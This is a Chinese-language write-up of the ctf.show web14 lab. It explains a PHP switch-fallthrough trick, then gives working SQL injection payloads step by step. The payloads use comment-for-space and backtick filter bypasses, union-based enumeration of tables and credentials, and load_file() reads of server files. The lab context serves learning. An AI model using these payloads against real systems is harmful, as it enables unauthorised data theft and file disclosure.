打开环境,界面有一段代码

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

如果没有break的话就会继续执行下去

这里传参?c=3会出现如下页面

ctf_show:web14_php

 

 

 

 

访问这个php,有个输入框,感觉是sql注入

ctf_show:web14_查看源代码_02

 

查看源代码,发现过滤了一些关键字

ctf_show:web14_数据库_03

 

过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.`tables`都可以使用。
网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。

首先查询几列

?query=1/**/order/**/by/**/1#

发现只有一列

ctf_show:web14_数据_04

查询数据库名

-1/**/union/**/select/**/database()#

ctf_show:web14_数据库_05

爆表名

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'#

ctf_show:web14_查看源代码_06

 

爆字段

-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'# 

 

ctf_show:web14_php_07

 

爆数据

-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#

ctf_show:web14_php_08

我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中,现在就有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file()

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

 查看源代码,发现

 ctf_show:web14_数据_09

那我们再获取一下/real_flag_is_here里的数据

-1/**/union/**/select/**/load_file('/real_flag_is_here')

 查看源代码,获得flag

ctf_show:web14_php_10